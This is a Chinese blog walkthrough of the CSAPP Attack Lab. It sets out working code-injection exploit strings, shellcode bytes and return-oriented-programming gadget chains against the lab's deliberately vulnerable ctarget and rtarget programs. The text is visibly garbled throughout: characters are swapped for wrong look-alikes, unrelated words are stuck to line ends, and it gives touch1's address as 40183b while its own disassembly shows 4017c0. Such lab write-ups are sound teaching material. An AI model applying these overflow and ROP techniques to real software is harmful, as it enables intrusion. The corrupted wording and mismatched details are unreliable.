《深刻理解计算机系统》(CSAPP)实验四 —— Attack Lab

这是CSAPP的第四个实验,这个实验比较有意思,也比较难。经过这个实验咱们能够更加熟悉GDB的使用和机器代码的栈和参数传递机制。

@[toc]git

实验目的

  本实验要求在两个有着不一样安全漏洞的程序上实现五种攻击。经过完成本实验达到:面试

  • 深刻理解当程序没有对缓冲区溢出作足够防范时,攻击者可能会如何利用这些安全漏洞。
  • 深刻理解x86-64机器代码的栈和参数传递机制。
  • 深刻理解x86-64指令的编码方式。
  • 熟练使用gdb和objdump等调试工具。
  • 更好地理解写出安全的程序的重要性,了解到一些编译器和操做系统提供的帮助改善程序安全性的特性。编程

    作本次实验以前,建议好好阅读下本篇博文 面试官不讲武德,竟然让我讲讲蠕虫和金丝雀!,理解缓冲区溢出时函数的返回值是如何被修改和精准定位的。

准备工做

  在官网下载获得实验所需文件解压后会获得五个不一样的文件。对六个文件简要说明以下所示。安全

  README.txt:描述文件夹目录bash

  ctarget:一个容易遭受code injection攻击的可执行程序。服务器

  rtarget:一个容易遭受return-oriented programming攻击的可执行程序。cookie

  cookie.txt一个8位的十六进制码,用于验证身份的惟一标识符。dom

  farm.c:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。函数

  hex2raw:一个生成攻击字符串的工具。工具

HEX2RAW指望由一个或多个空格分隔的两位十六进制值。因此若是你想建立一个十六进制值为0的字节,须要将其写为00。要建立单词0xdeadbeef应将“ ef be ad de”传递给HEX2RAW(请注意,小字节序须要反转)。

  编译环境:Ubuntu 16.04,gcc 5.4.0。

  注意:因为咱们使用的是外网编译,因此在运行程序时加上-q参数。

内容简介

CTARGET和RTARGET从标准输入中读取字符串,使用的getbuf函数以下所示。

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

  函数Gets()相似于标准库函数gets(),从标准输入读入一个字符串,将字符串(带null结束符)存储在指定的目的地址。两者都只会简单地拷贝字节序列,没法肯定目标缓冲区是否足够大以存储下读入的字符串,所以可能会超出目标地址处分配的存储空间。字符串不能包含字节值0x0a,这是换行符 \n 的ASCII码,Gets()遇到这个字节时会认为意在结束该字符串。

  若是用户输入并由getbuf读取的字符串足够短,则很明显getbuf将返回1,如如下执行示例所示:

image-20201118164523691

  当输入一个很长的字符串时,将会出现段错误,具体以下图所示:

image-20201118164726239

  如上图所示,出现了缓冲区溢出错误。咱们能够利用缓冲区溢出来修改程序的返回值,使它指向咱们要求的地址来完成攻击。

CTARGET和RTARGET都采用几个不一样的命令行参数:

-h:打印可能的命令行参数列表

-q:本地测评,不要将结果发送到评分服务器

-i FILE:提供来自文件的输入,而不是来自标准输入的输入

代码注入攻击

Level 1

  对于第1个例程,将不会注入新代码,而是缓冲区溢出漏洞利用字符串将重定向程序来执行现有程序。在CTARGET文件中中调用了函数getbuf。当getbuf执行完return语句后,程序一般会接着向下执行第5行的内容。

void test() 
{
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}

  若是咱们想改变这种行为。在文件ctarget中,咱们要把getbuf函数的返回值指向函数touch1,touch1代码以下所示:

void touch1() 
{
    vlevel = 1;
    printf("Touch!: You called touch1()\n");   
    validate(1);
    exit(0);
}

  执行 objdump -d rtarget > rtarget.d 命令,将rtarget反汇编看下getbuf和touch1的反汇编代码。

00000000004017a8 <getbuf>:
  4017a8:    48 83 ec 28              sub    $0x28,%rsp                      # 开辟40字节的空间
  4017ac:    48 89 e7                 mov    %rsp,%rdi
  4017af:    e8 ac 03 00 00           callq  401b60 <Gets>
  4017b4:    b8 01 00 00 00           mov    $0x1,%eax
  4017b9:    48 83 c4 28              add    $0x28,%rsp
  4017bd:    c3                       retq                                   # 正常返回,跳转到test函数的第5行继续执行
  4017be:    90                       nop
  4017bf:    90                       nop
00000000004017c0 <touch1>:
  4017c0:    48 83 ec 08              sub    $0x8,%rsp
  4017c4:    c7 05 0e 3d 20 00 01     movl   $0x1,0x203d0e(%rip)        # 6054dc <vlevel>
  4017cb:    00 00 00 
  4017ce:    bf e5 31 40 00           mov    $0x4031e5,%edi
  4017d3:    e8 e8 f4 ff ff           callq  400cc0 <puts@plt>
  4017d8:    bf 01 00 00 00           mov    $0x1,%edi
  4017dd:    e8 cb 05 00 00           callq  401dad <validate>
  4017e2:    bf 00 00 00 00           mov    $0x0,%edi
  4017e7:    e8 54 f6 ff ff           callq  400e40 <exit@plt>

  由上述反汇编代码能够知道,咱们只要修改getbuf结尾处的ret指令,将其指向touch1函数的起始地址40183b就能够。要想将其准确指向40183b,要首先将getbuf的40字节内容填充满,使其溢出,再将40183b覆盖getbuf原来的返回地址便可。(这里不明白的能够看下文章面试官不讲武德,竟然让我讲讲蠕虫和金丝雀!

  攻击字符串以下所示,命名为attack1.txt。

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
c0 17 40 00 00 00 00 00

执行如下指令进行测试

./hex2raw < attack1.txt > attackraw1.txt
./ctarget -qi attackraw1.txt

image-20201118174203347

Level 2

  第2阶段涉及注入少许代码做为攻击字符串的一部分。在文件ctarget中,touch2的代码以下所示:

void touch2(unsigned val)
{
    vlevel = 2;     /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
     }
     exit(0);
}

  反汇编以下所示:

00000000004017ec <touch2>:
  4017ec:    48 83 ec 08              sub    $0x8,%rsp
  4017f0:    89 fa                    mov    %edi,%edx                  # val存在%rdi中
  4017f2:    c7 05 e0 3c 20 00 02     movl   $0x2,0x203ce0(%rip)        # 6054dc <vlevel>
  4017f9:    00 00 00 
  4017fc:    3b 3d e2 3c 20 00        cmp    0x203ce2(%rip),%edi        # 6054e4 <cookie>
  401802:    75 20                    jne    401824 <touch2+0x38>
  401804:    be 08 32 40 00           mov    $0x403208,%esi
  401809:    bf 01 00 00 00           mov    $0x1,%edi
  40180e:    b8 00 00 00 00           mov    $0x0,%eax
  401813:    e8 d8 f5 ff ff           callq  400df0 <__printf_chk@plt>
  401818:    bf 02 00 00 00           mov    $0x2,%edi
  40181d:    e8 8b 05 00 00           callq  401dad <validate>
  401822:    eb 1e                    jmp    401842 <touch2+0x56>
  401824:    be 30 32 40 00           mov    $0x403230,%esi
  401829:    bf 01 00 00 00           mov    $0x1,%edi
  40182e:    b8 00 00 00 00           mov    $0x0,%eax
  401833:    e8 b8 f5 ff ff           callq  400df0 <__printf_chk@plt>
  401838:    bf 02 00 00 00           mov    $0x2,%edi
  40183d:    e8 2d 06 00 00           callq  401e6f <fail>
  401842:    bf 00 00 00 00           mov    $0x0,%edi
  401847:    e8 f4 f5 ff ff           callq  400e40 <exit@plt>

  Level 2 和 Level 1 差异主要在Level 2 多了一个val参数,咱们在跳转到Level 2 时,还要将其参数传递过去,让他认为是本身的cookie 0x59b997fa。

  所以,咱们首先要将0x59b997fa赋值给%rdi,完成参数的传递。如何完成程序的跳转呢?在第一次ret的时候,将ret地址写为咱们写好的攻击代码,在攻击代码中,将touch2的地址0x4017ec 压栈,汇编代码再ret到touch2。咱们能完成这个攻击的前提是这个具备漏洞的程序在运行时的栈地址是固定的,不会因运行屡次而改变,而且这个程序容许执行栈中的代码。汇编代码以下所示:

mov    $0x59b997fa,%rdi
pushq  $0x4017ec              #压栈,ret时会将0x4017ec弹出执行
ret

  使用以下指令将汇编代码反汇编

gcc -c attack2.s
objdump -d attack2.o > attack2.d

  反汇编代码以下所示:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq

  内存中存储这段代码的地方即是getbuf开辟的缓冲区,咱们利用gdb查看此时缓冲区的起始地址。

image-20201118212308138

  注意:缓冲区地址为0x5561dca0(栈底),由于分配了一个0x28的栈,插入的代码在字符串首,即栈顶(低地址),因此地址最终要取0x5561dca0-0x28 = 0x5561dc78。大坑!大坑!大坑!

48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上包含注入代码填充满整个缓冲区(40字节)以至溢出。
78 dc 61 55 00 00 00 00
//用缓冲区的起始地址覆盖掉原先的返回地址(注意字节顺序)。

  最终测试结果正确

image-20201118213633633

Level 3

int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    /**/
    sprintf(s, "%.8x", val);         
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

  与以前的相似,在getbuf函数返回的时候,执行touch3而不是test。touch3函数传入的是cookie的字符串表示。所以,咱们要将%rdi设置为cookie的地址即字符串表示(0x59b997fa -> 35 39 62 39 39 37 66 61)。

00000000004018fa <touch3>:
  4018fa:    53                       push   %rbx
  4018fb:    48 89 fb                 mov    %rdi,%rbx
  4018fe:    c7 05 d4 3b 20 00 03     movl   $0x3,0x203bd4(%rip)        # 6054dc <vlevel>
  401905:    00 00 00 
  401908:    48 89 fe                 mov    %rdi,%rsi
  40190b:    8b 3d d3 3b 20 00        mov    0x203bd3(%rip),%edi        # 6054e4 <cookie>
  401911:    e8 36 ff ff ff           callq  40184c <hexmatch>
  401916:    85 c0                    test   %eax,%eax
  401918:    74 23                    je     40193d <touch3+0x43>
  40191a:    48 89 da                 mov    %rbx,%rdx
  40191d:    be 58 32 40 00           mov    $0x403258,%esi
  401922:    bf 01 00 00 00           mov    $0x1,%edi
  401927:    b8 00 00 00 00           mov    $0x0,%eax
  40192c:    e8 bf f4 ff ff           callq  400df0 <__printf_chk@plt>
  401931:    bf 03 00 00 00           mov    $0x3,%edi
  401936:    e8 72 04 00 00           callq  401dad <validate>
  40193b:    eb 21                    jmp    40195e <touch3+0x64>
  40193d:    48 89 da                 mov    %rbx,%rdx
  401940:    be 80 32 40 00           mov    $0x403280,%esi
  401945:    bf 01 00 00 00           mov    $0x1,%edi
  40194a:    b8 00 00 00 00           mov    $0x0,%eax
  40194f:    e8 9c f4 ff ff           callq  400df0 <__printf_chk@plt>
  401954:    bf 03 00 00 00           mov    $0x3,%edi
  401959:    e8 11 05 00 00           callq  401e6f <fail>
  40195e:    bf 00 00 00 00           mov    $0x0,%edi
  401963:    e8 d8 f4 ff ff           callq  400e40 <exit@plt>

  在touch3中调用了hexmatch函数,这个函数中又开辟了110个字节的空间。若是咱们把cookie放在栈中,执行hexmatch函数可能会把cookie的数据覆盖掉。咱们能够直接经过植入指令来修改%rsp栈指针的值。

fa 18 40 00 00 00 00 00  #touch3的地址
bf 90 dc 61 55 48 83 ec  #mov    edi, 0x5561dc90
30 c3 00 00 00 00 00 00  #sub    rsp, 0x30  ret
35 39 62 39 39 37 66 61  #cookie
00 00 00 00 00 00 00 00
80 dc 61 55              #stack top的地址+8

image-20201119092849518

返回导向编程攻击

  对程序RTARGET进行代码注入攻击比对CTARGET进行难度要大得多,由于它使用两种技术来阻止此类攻击:

  它使用栈随机化,以使堆栈位置在一次运行与另外一次运行中不一样。这使得不可能肯定注入代码的位置。

  它会将保存堆栈的内存部分标记为不可执行,所以,即便能够将程序计数器设置为注入代码的开头,程序也会因分段错误而失败。

<img src="https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_c3%E8%BF%94%E5%9B%9E%E5%9C%B0%E5%9D%80.png" alt="image-20201119101626094" style="zoom:67%;" />

  幸运的是,聪明的人已经设计出了经过执行程序来在程序中完成有用的事情的策略。使用现有代码,而不是注入新代码。经常使用的是ROP策略, ROP的策略是识别现有程序中的字节序列,由一个或多个指令后跟指令ret组成。这种段称为gadget.。图2说明了如何设置堆栈以执行n个gadget的序列。在此图中,堆栈包含一系列gadget地址。每一个gadget都包含一系列指令字节,其中最后一个是0xc3,对ret指令进行编码。当程序从该配置开始执行ret指令时,它将启动一系列gadget执行,其中ret指令位于每一个gadget的末尾,从而致使程序跳至下一个开始。经过不断的跳转,拼凑出本身想要的结果来进行攻击的方式。(简单来讲:就是利用现有程序的汇编代码,从不一样的函数中挑选出本身想要的代码,经过不断跳转的方式将这些代码拼接起来组成咱们须要的代码。)

  下面是实验手册给出的部分指令所对应的字节码,咱们须要在rtarget文件中挑选这些指令去执行以前level2和level3的攻击。

<img src="https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_ROP%E6%8C%87%E4%BB%A4%E9%9B%86.png" alt="image-20201119101419358" style="zoom:67%;" />

<img src="https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_ROP%E6%8C%87%E4%BB%A4%E9%9B%862.png" alt="image-20201119101449467" style="zoom:67%;" />

Level 2

  这个实验与以前的Level 2 很类似,因此咱们要作的就是将cookie的值赋值给%rdi,执行touch2。可是本题使用的是ROP攻击形式,不可能直接有movq $ 0x59b997fa,%rdi这样的代码。Write up提示能够用movq, popq等来完成这个任务。所以咱们能够把 $0x59b997fa放在栈中,再popq %rdi,利用popq咱们能够把数据从栈中转移到寄存器中,而这个刚好是咱们所须要的。代码有了,那咱们就去寻找gadget。

  思路肯定了,接下来只须要根据Write up提供的encoding table来查找popq对应encoding是否在程序中出现了。很容易找到popq %rdi对应的编码5f在这里出现,而且下一条就是ret:

402b18:    41 5f                pop    %r15
402b1a:    c3                      retq

  因此答案就是:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 #pop %rdi
fa 97 b9 59 00 00 00 00 #cookie
ec 17 40 00 00 00 00 00 #touch2

  运行下结果以下所示

image-20201119153206287

Level 3

  这个实验是在以前Level3的基础上又增长了一个难度,具体要求是要用ROP跳转到touch3,而且传入一个和cookie同样的字符串。由于栈是随机化的,那么咱们如何在栈地址随机化的状况下去获取咱们放在栈中的字符串的首地址呢?咱们只能经过操做%rsp的值来改变位置。在以前的Level 3 实验中也提到过,touch3函数会调用hexmatch函数,在hexmatch中会开辟110个字节的空间,若是字符串放在touch3函数返回地址的上方,那么cookie必定会被覆盖。所以,咱们应该放在更高一点的位置,即便得hexmatch函数新开辟空间也够不到cookie字符串。因此,字符串的地址必定是%rsp 加上一个数。

  但是WriteUp里给的encoding table都是mov pop nop 双编码等指令,并无加法,可是gadget farm中有一条自带的指令,具体以下所示:

00000000004019d6 <add_xy>:
  4019d6:    48 8d 04 37              lea    (%rdi,%rsi,1),%rax          # %rax = %rdi + %rsi
  4019da:    c3                       retq

  咱们能够经过这个函数来实现加法,由于lea (%rdi,%rsi,1) %rax就是%rax = %rdi + %rsi。因此,只要可以让%rdi和%rsi其中一个保存%rsp,另外一个保存从stack中pop出来的偏移值,就能够表示cookie存放的地址,而后把这个地址mov到%rdi就大功告成了。

  对应Write up里面的encoding table会发现,从%rax并不能直接mov到%rsi,而只能经过%eax->%edx->%ecx->%esi来完成这个。因此,兵分两路:
   1.把%rsp存放到%rdi中
  2.把偏移值(须要肯定指令数后才能肯定)存放到%rsi中

  而后,再用lea那条指令把这两个结果的和存放到%rax中,再movq到%rdi中就完成了。

  值得注意的是,上面两路完成任务的寄存器不能互换,由于从%eax到%esi这条路线上面的mov都是4个byte的操做,若是对%rsp的值采用这条路线,%rsp的值会被截断掉,最后的结果就错了。可是偏移值不会,由于4个bytes足够表示了。

  最后结果:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00   #movq %rsp, %rax   
a2 19 40 00 00 00 00 00   #movq %rax, %rdi
ab 19 40 00 00 00 00 00   #popq %rax
48 00 00 00 00 00 00 00   #偏移值
dd 19 40 00 00 00 00 00   #mov %eax, %edx
34 1a 40 00 00 00 00 00   #mov %edx, %ecx
13 1a 40 00 00 00 00 00   #mov %ecx, %esi
d6 19 40 00 00 00 00 00   #lea (%rsi, %rdi, 1) %rax
a2 19 40 00 00 00 00 00   #movq %rax, %rdi
fa 18 40 00 00 00 00 00   #touch3
35 39 62 39 39 37 66 61   #cookie
参考 https://zhuanlan.zhihu.com/p/...

  测试结果以下:

总结

  这几个实验挺有意思的,体验了一把黑客的感受。最后一个实验仍是有难度的,本身也参考网上其余人的解法。经过本次实验也增强了本身对函数调用栈,字节序,GDB,汇编的理解。X86有些指令用多了也就记住了,不须要刻意去记,熟能生巧!

  养成习惯,先赞后看!若是以为写的不错,欢迎关注,点赞,转发,谢谢!
如遇到排版错乱的问题,能够经过如下连接访问个人CSDN。

**CSDN:[CSDN搜索“嵌入式与Linux那些事”]

相关文章
相关标签/搜索